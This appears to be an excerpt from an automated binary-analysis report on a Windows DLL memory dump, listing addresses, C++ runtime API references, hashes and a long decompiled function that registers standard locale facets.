0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21

APIs

__EH_prolog3.LIBCMT ref: 6DD1FBEA
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FBF4
int.LIBCPMT ref: 6DD1FC0B

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FC45
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FC65
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FC83

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 7ba09dc0170a8eb4e1781ec96cd226bf38a0e22b0e433132d70727924ea54ec5
Instruction ID: e3308e95582982d362904e6c35b4b8772b372269c7030cb4bf0d57709efffcee
Opcode Fuzzy Hash: 7ba09dc0170a8eb4e1781ec96cd226bf38a0e22b0e433132d70727924ea54ec5
Instruction Fuzzy Hash: 5011A07290C129DBCF01FBA4DC80AFDB776EF85324F164109FA10A7290DB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F375, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F375(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t223;
				signed int _t224;
				void* _t236;
				void* _t249;
				void* _t262;
				void* _t275;
				void* _t288;
				void* _t301;
				void* _t314;
				void* _t327;
				void* _t340;
				void* _t353;
				void* _t366;
				void* _t379;
				void* _t392;
				void* _t405;
				signed int _t587;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				signed int _t646;
				signed int _t647;
				signed int _t648;
				signed int _t649;
				signed int _t651;
				signed int _t652;
				signed int _t653;
				signed int _t654;
				signed int _t655;
				signed int _t656;
				signed int _t657;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				signed int _t661;
				signed int _t662;
				signed int _t663;
				signed int _t664;
				signed int _t665;
				signed int _t666;
				void* _t682;

				_t633 = __edx;
				_t482 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t682 - 0x14, 0);
				_t651 =  *0x6ddd6dbc; // 0x0
				 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
				 *(_t682 - 0x10) = _t651;
				_t223 = E6DCF161C(0x6ddd6d70);
				_t485 =  *((intOrPtr*)(_t682 + 8));
				_t224 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t223);
				_t635 = _t224;
				if(_t224 != 0) {
					L5:
					E6DD166BA(_t682 - 0x14);
					return E6DD30075(_t635);
				} else {
					if(_t651 == 0) {
						_push( *((intOrPtr*)(_t682 + 8)));
						_push(_t682 - 0x10);
						__eflags = E6DD20FEF(__ebx, _t485, __edx, _t635, _t651) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t682 - 0x20);
							E6DD33D74(_t682 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t635, _t651, 0x14);
							E6DD16653(_t682 - 0x14, 0);
							_t652 =  *0x6ddd6df0; // 0x0
							 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
							 *(_t682 - 0x10) = _t652;
							_t236 = E6DCF161C(0x6ddd6d9c);
							_t492 =  *((intOrPtr*)(_t682 + 8));
							_t636 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t236);
							__eflags = _t636;
							if(_t636 != 0) {
								L12:
								E6DD166BA(_t682 - 0x14);
								return E6DD30075(_t636);
							} else {
								__eflags = _t652;
								if(_t652 == 0) {
									_push( *((intOrPtr*)(_t682 + 8)));
									_push(_t682 - 0x10);
									__eflags = E6DD21057(_t482, _t492, __edx, _t636, _t652) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t682 - 0x20);
										E6DD33D74(_t682 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t482, _t636, _t652, 0x14);
										E6DD16653(_t682 - 0x14, 0);
										_t653 =  *0x6ddd6dc0; // 0x0
										 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
										 *(_t682 - 0x10) = _t653;
										_t249 = E6DCF161C(0x6ddd6d74);
										_t499 =  *((intOrPtr*)(_t682 + 8));
										_t637 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t249);
										__eflags = _t637;
										if(_t637 != 0) {
											L19:
											E6DD166BA(_t682 - 0x14);
											return E6DD30075(_t637);
										} else {
											__eflags = _t653;
											if(_t653 == 0) {
												_push( *((intOrPtr*)(_t682 + 8)));
												_push(_t682 - 0x10);
												__eflags = E6DD210BF(_t482, _t499, __edx, _t637, _t653) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t682 - 0x20);
													E6DD33D74(_t682 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t482, _t637, _t653, 0x14);
													E6DD16653(_t682 - 0x14, 0);
													_t654 =  *0x6ddd6df8; // 0x0
													 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
													 *(_t682 - 0x10) = _t654;
													_t262 = E6DCF161C(0x6ddd6da4);
													_t506 =  *((intOrPtr*)(_t682 + 8));
													_t638 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t262);
													__eflags = _t638;
													if(_t638 != 0) {
														L26:
														E6DD166BA(_t682 - 0x14);
														return E6DD30075(_t638);
													} else {
														__eflags = _t654;
														if(_t654 == 0) {
															_push( *((intOrPtr*)(_t682 + 8)));
															_push(_t682 - 0x10);
															__eflags = E6DD21127(_t482, _t506, _t633, _t638, _t654) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t682 - 0x20);
																E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t482, _t638, _t654, 0x14);
																E6DD16653(_t682 - 0x14, 0);
																_t655 =  *0x6ddd6df4; // 0x0
																 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																 *(_t682 - 0x10) = _t655;
																_t275 = E6DCF161C(0x6ddd6da0);
																_t513 =  *((intOrPtr*)(_t682 + 8));
																_t639 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t275);
																__eflags = _t639;
																if(_t639 != 0) {
																	L33:
																	E6DD166BA(_t682 - 0x14);
																	return E6DD30075(_t639);
																} else {
																	__eflags = _t655;
																	if(_t655 == 0) {
																		_push( *((intOrPtr*)(_t682 + 8)));
																		_push(_t682 - 0x10);
																		__eflags = E6DD211AB(_t482, _t513, _t633, _t639, _t655) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t682 - 0x20);
																			E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t482, _t639, _t655, 0x14);
																			E6DD16653(_t682 - 0x14, 0);
																			_t656 =  *0x6ddd6dc8; // 0x0
																			 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																			 *(_t682 - 0x10) = _t656;
																			_t288 = E6DCF161C(0x6ddd6d7c);
																			_t520 =  *((intOrPtr*)(_t682 + 8));
																			_t640 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t288);
																			__eflags = _t640;
																			if(_t640 != 0) {
																				L40:
																				E6DD166BA(_t682 - 0x14);
																				return E6DD30075(_t640);
																			} else {
																				__eflags = _t656;
																				if(_t656 == 0) {
																					_push( *((intOrPtr*)(_t682 + 8)));
																					_push(_t682 - 0x10);
																					__eflags = E6DD21230(_t482, _t520, _t633, _t640, _t656) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t682 - 0x20);
																						E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t482, _t640, _t656, 0x14);
																						E6DD16653(_t682 - 0x14, 0);
																						_t657 =  *0x6ddd6dc4; // 0x0
																						 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																						 *(_t682 - 0x10) = _t657;
																						_t301 = E6DCF161C(0x6ddd6d78);
																						_t527 =  *((intOrPtr*)(_t682 + 8));
																						_t641 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t301);
																						__eflags = _t641;
																						if(_t641 != 0) {
																							L47:
																							E6DD166BA(_t682 - 0x14);
																							return E6DD30075(_t641);
																						} else {
																							__eflags = _t657;
																							if(_t657 == 0) {
																								_push( *((intOrPtr*)(_t682 + 8)));
																								_push(_t682 - 0x10);
																								__eflags = E6DD212B4(_t482, _t527, _t633, _t641, _t657) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t682 - 0x20);
																									E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t482, _t641, _t657, 0x14);
																									E6DD16653(_t682 - 0x14, 0);
																									_t658 =  *0x6ddd6dd8; // 0x0
																									 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																									 *(_t682 - 0x10) = _t658;
																									_t314 = E6DCF161C(0x6ddd6d84);
																									_t534 =  *((intOrPtr*)(_t682 + 8));
																									_t642 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t314);
																									__eflags = _t642;
																									if(_t642 != 0) {
																										L54:
																										E6DD166BA(_t682 - 0x14);
																										return E6DD30075(_t642);
																									} else {
																										__eflags = _t658;
																										if(_t658 == 0) {
																											_push( *((intOrPtr*)(_t682 + 8)));
																											_push(_t682 - 0x10);
																											__eflags = E6DD21339(_t482, _t534, _t633, _t642, _t658) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t682 - 0x20);
																												E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t482, _t642, _t658, 0x14);
																												E6DD16653(_t682 - 0x14, 0);
																												_t659 =  *0x6ddd6db0; // 0x0
																												 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																												 *(_t682 - 0x10) = _t659;
																												_t327 = E6DCF161C(0x6ddd6d64);
																												_t541 =  *((intOrPtr*)(_t682 + 8));
																												_t643 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t327);
																												__eflags = _t643;
																												if(_t643 != 0) {
																													L61:
																													E6DD166BA(_t682 - 0x14);
																													return E6DD30075(_t643);
																												} else {
																													__eflags = _t659;
																													if(_t659 == 0) {
																														_push( *((intOrPtr*)(_t682 + 8)));
																														_push(_t682 - 0x10);
																														__eflags = E6DD213A1(_t482, _t541, _t633, _t643, _t659) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t682 - 0x20);
																															E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t482, _t643, _t659, 0x14);
																															E6DD16653(_t682 - 0x14, 0);
																															_t660 =  *0x6ddd6ddc; // 0x0
																															 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																															 *(_t682 - 0x10) = _t660;
																															_t340 = E6DCF161C(0x6ddd6d88);
																															_t548 =  *((intOrPtr*)(_t682 + 8));
																															_t644 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t340);
																															__eflags = _t644;
																															if(_t644 != 0) {
																																L68:
																																E6DD166BA(_t682 - 0x14);
																																return E6DD30075(_t644);
																															} else {
																																__eflags = _t660;
																																if(_t660 == 0) {
																																	_push( *((intOrPtr*)(_t682 + 8)));
																																	_push(_t682 - 0x10);
																																	__eflags = E6DD21409(_t482, _t548, _t633, _t644, _t660) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t682 - 0x20);
																																		E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t482, _t644, _t660, 0x14);
																																		E6DD16653(_t682 - 0x14, 0);
																																		_t661 =  *0x6ddd6de0; // 0x0
																																		 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																																		 *(_t682 - 0x10) = _t661;
																																		_t353 = E6DCF161C(0x6ddd6d8c);
																																		_t555 =  *((intOrPtr*)(_t682 + 8));
																																		_t645 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t353);
																																		__eflags = _t645;
																																		if(_t645 != 0) {
																																			L75:
																																			E6DD166BA(_t682 - 0x14);
																																			return E6DD30075(_t645);
																																		} else {
																																			__eflags = _t661;
																																			if(_t661 == 0) {
																																				_push( *((intOrPtr*)(_t682 + 8)));
																																				_push(_t682 - 0x10);
																																				__eflags = E6DD21471(_t482, _t555, _t633, _t645, _t661) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t682 - 0x20);
																																					E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t482, _t645, _t661, 0x14);
																																					E6DD16653(_t682 - 0x14, 0);
																																					_t662 =  *0x6ddd6dfc; // 0x0
																																					 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																																					 *(_t682 - 0x10) = _t662;
																																					_t366 = E6DCF161C(0x6ddd6da8);
																																					_t562 =  *((intOrPtr*)(_t682 + 8));
																																					_t646 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t366);
																																					__eflags = _t646;
																																					if(_t646 != 0) {
																																						L82:
																																						E6DD166BA(_t682 - 0x14);
																																						return E6DD30075(_t646);
																																					} else {
																																						__eflags = _t662;
																																						if(_t662 == 0) {
																																							_push( *((intOrPtr*)(_t682 + 8)));
																																							_push(_t682 - 0x10);
																																							__eflags = E6DD214EC(_t482, _t562, _t633, _t646, _t662) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t682 - 0x20);
																																								E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t482, _t646, _t662, 0x14);
																																								E6DD16653(_t682 - 0x14, 0);
																																								_t663 =  *0x6ddd6dcc; // 0x0
																																								 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																																								 *(_t682 - 0x10) = _t663;
																																								_t379 = E6DCF161C(0x6ddd6d80);
																																								_t569 =  *((intOrPtr*)(_t682 + 8));
																																								_t647 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t379);
																																								__eflags = _t647;
																																								if(_t647 != 0) {
																																									L89:
																																									E6DD166BA(_t682 - 0x14);
																																									return E6DD30075(_t647);
																																								} else {
																																									__eflags = _t663;
																																									if(_t663 == 0) {
																																										_push( *((intOrPtr*)(_t682 + 8)));
																																										_push(_t682 - 0x10);
																																										__eflags = E6DD21558(_t482, _t569, _t633, _t647, _t663) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t682 - 0x20);
																																											E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t482, _t647, _t663, 0x14);
																																											E6DD16653(_t682 - 0x14, 0);
																																											_t664 =  *0x6ddd6e00; // 0x0
																																											 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																																											 *(_t682 - 0x10) = _t664;
																																											_t392 = E6DCF161C(0x6ddd6dac);
																																											_t576 =  *((intOrPtr*)(_t682 + 8));
																																											_t648 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t392);
																																											__eflags = _t648;
																																											if(_t648 != 0) {
																																												L96:
																																												E6DD166BA(_t682 - 0x14);
																																												return E6DD30075(_t648);
																																											} else {
																																												__eflags = _t664;
																																												if(_t664 == 0) {
																																													_push( *((intOrPtr*)(_t682 + 8)));
																																													_push(_t682 - 0x10);
																																													__eflags = E6DD215C4(_t482, _t576, _t633, _t648, _t664) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t682 - 0x20);
																																														E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t482, _t648, _t664, 0x14);
																																														E6DD16653(_t682 - 0x14, 0);
																																														_t665 =  *0x6ddd6dd0; // 0x0
																																														 *(_t682 - 4) =  *(_t682 - 4) & 0x00000000;
																																														 *(_t682 - 0x10) = _t665;
																																														_t405 = E6DCF161C(0x6ddd6d60);
																																														_t583 =  *((intOrPtr*)(_t682 + 8));
																																														_t649 = E6DCF171B( *((intOrPtr*)(_t682 + 8)), _t405);
																																														__eflags = _t649;
																																														if(_t649 != 0) {
																																															L103:
																																															E6DD166BA(_t682 - 0x14);
																																															return E6DD30075(_t649);
																																														} else {
																																															__eflags = _t665;
																																															if(_t665 == 0) {
																																																_push( *((intOrPtr*)(_t682 + 8)));
																																																_push(_t682 - 0x10);
																																																__eflags = E6DD2162A(_t482, _t583, _t633, _t649, _t665) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	_t587 = _t682 - 0x20;
																																																	E6DCF1438(_t587);
																																																	E6DD33D74(_t682 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd7851f, _t482, _t649, _t665, 4);
																																																	_t666 = _t587;
																																																	 *(_t682 - 0x10) = _t666;
																																																	 *((intOrPtr*)(_t666 + 4)) =  *((intOrPtr*)(_t682 + 0xc));
																																																	_push( *((intOrPtr*)(_t682 + 0x14)));
																																																	_t217 = _t682 - 4;
																																																	 *_t217 =  *(_t682 - 4) & 0x00000000;
																																																	__eflags =  *_t217;
																																																	 *_t666 = 0x6dd7c0c4;
																																																	 *((char*)(_t666 + 0x28)) =  *((intOrPtr*)(_t682 + 0x10));
																																																	E6DD2542F(_t482, _t587, _t633, _t649, _t666,  *_t217);
																																																	return E6DD30075(_t666,  *((intOrPtr*)(_t682 + 8)));
																																																} else {
																																																	_t649 =  *(_t682 - 0x10);
																																																	 *(_t682 - 0x10) = _t649;
																																																	 *(_t682 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t649);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t649 + 4))))();
																																																	 *0x6ddd6dd0 = _t649;
																																																	goto L103;
																																																}
																																															} else {
																																																_t649 = _t665;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t648 =  *(_t682 - 0x10);
																																														 *(_t682 - 0x10) = _t648;
																																														 *(_t682 - 4) = 1;
																																														E6DD16FD3(__eflags, _t648);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t648 + 4))))();
																																														 *0x6ddd6e00 = _t648;
																																														goto L96;
																																													}
																																												} else {
																																													_t648 = _t664;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t647 =  *(_t682 - 0x10);
																																											 *(_t682 - 0x10) = _t647;
																																											 *(_t682 - 4) = 1;
																																											E6DD16FD3(__eflags, _t647);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t647 + 4))))();
																																											 *0x6ddd6dcc = _t647;
																																											goto L89;
																																										}
																																									} else {
																																										_t647 = _t663;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t646 =  *(_t682 - 0x10);
																																								 *(_t682 - 0x10) = _t646;
																																								 *(_t682 - 4) = 1;
																																								E6DD16FD3(__eflags, _t646);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t646 + 4))))();
																																								 *0x6ddd6dfc = _t646;
																																								goto L82;
																																							}
																																						} else {
																																							_t646 = _t662;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t645 =  *(_t682 - 0x10);
																																					 *(_t682 - 0x10) = _t645;
																																					 *(_t682 - 4) = 1;
																																					E6DD16FD3(__eflags, _t645);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t645 + 4))))();
																																					 *0x6ddd6de0 = _t645;
																																					goto L75;
																																				}
																																			} else {
																																				_t645 = _t661;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t644 =  *(_t682 - 0x10);
																																		 *(_t682 - 0x10) = _t644;
																																		 *(_t682 - 4) = 1;
																																		E6DD16FD3(__eflags, _t644);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t644 + 4))))();
																																		 *0x6ddd6ddc = _t644;
																																		goto L68;
																																	}
																																} else {
																																	_t644 = _t660;
																																	goto L68;
																																}
																															}
																														} else {
																															_t643 =  *(_t682 - 0x10);
																															 *(_t682 - 0x10) = _t643;
																															 *(_t682 - 4) = 1;
																															E6DD16FD3(__eflags, _t643);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t643 + 4))))();
																															 *0x6ddd6db0 = _t643;
																															goto L61;
																														}
																													} else {
																														_t643 = _t659;
																														goto L61;
																													}
																												}
																											} else {
																												_t642 =  *(_t682 - 0x10);
																												 *(_t682 - 0x10) = _t642;
																												 *(_t682 - 4) = 1;
																												E6DD16FD3(__eflags, _t642);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t642 + 4))))();
																												 *0x6ddd6dd8 = _t642;
																												goto L54;
																											}
																										} else {
																											_t642 = _t658;
																											goto L54;
																										}
																									}
																								} else {
																									_t641 =  *(_t682 - 0x10);
																									 *(_t682 - 0x10) = _t641;
																									 *(_t682 - 4) = 1;
																									E6DD16FD3(__eflags, _t641);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t641 + 4))))();
																									 *0x6ddd6dc4 = _t641;
																									goto L47;
																								}
																							} else {
																								_t641 = _t657;
																								goto L47;
																							}
																						}
																					} else {
																						_t640 =  *(_t682 - 0x10);
																						 *(_t682 - 0x10) = _t640;
																						 *(_t682 - 4) = 1;
																						E6DD16FD3(__eflags, _t640);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t640 + 4))))();
																						 *0x6ddd6dc8 = _t640;
																						goto L40;
																					}
																				} else {
																					_t640 = _t656;
																					goto L40;
																				}
																			}
																		} else {
																			_t639 =  *(_t682 - 0x10);
																			 *(_t682 - 0x10) = _t639;
																			 *(_t682 - 4) = 1;
																			E6DD16FD3(__eflags, _t639);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t639 + 4))))();
																			 *0x6ddd6df4 = _t639;
																			goto L33;
																		}
																	} else {
																		_t639 = _t655;
																		goto L33;
																	}
																}
															} else {
																_t638 =  *(_t682 - 0x10);
																 *(_t682 - 0x10) = _t638;
																 *(_t682 - 4) = 1;
																E6DD16FD3(__eflags, _t638);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t638 + 4))))();
																 *0x6ddd6df8 = _t638;
																goto L26;
															}
														} else {
															_t638 = _t654;
															goto L26;
														}
													}
												} else {
													_t637 =  *(_t682 - 0x10);
													 *(_t682 - 0x10) = _t637;
													 *(_t682 - 4) = 1;
													E6DD16FD3(__eflags, _t637);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t637 + 4))))();
													 *0x6ddd6dc0 = _t637;
													goto L19;
												}
											} else {
												_t637 = _t653;
												goto L19;
											}
										}
									} else {
										_t636 =  *(_t682 - 0x10);
										 *(_t682 - 0x10) = _t636;
										 *(_t682 - 4) = 1;
										E6DD16FD3(__eflags, _t636);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t636 + 4))))();
										 *0x6ddd6df0 = _t636;
										goto L12;
									}
								} else {
									_t636 = _t652;
									goto L12;
								}
							}
						} else {
							_t635 =  *(_t682 - 0x10);
							 *(_t682 - 0x10) = _t635;
							 *(_t682 - 4) = 1;
							E6DD16FD3(__eflags, _t635);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t635 + 4))))();
							 *0x6ddd6dbc = _t635;
							goto L5;
						}
					} else {
						_t635 = _t651;
						goto L5;
					}
				}
			}

0x6dd1f375
0x6dd1f375
0x6dd1f37c
0x6dd1f386
0x6dd1f38b
0x6dd1f396
0x6dd1f39a
0x6dd1f39d
0x6dd1f3a2
0x6dd1f3a6
0x6dd1f3ab
0x6dd1f3af
0x6dd1f3f4
0x6dd1f3f7
0x6dd1f403
0x6dd1f3b1
0x6dd1f3b3
0x6dd1f3b9
0x6dd1f3bf
0x6dd1f3c7
0x6dd1f3ca
0x6dd1f407
0x6dd1f415
0x6dd1f41a
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f451
0x6dd1f453
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
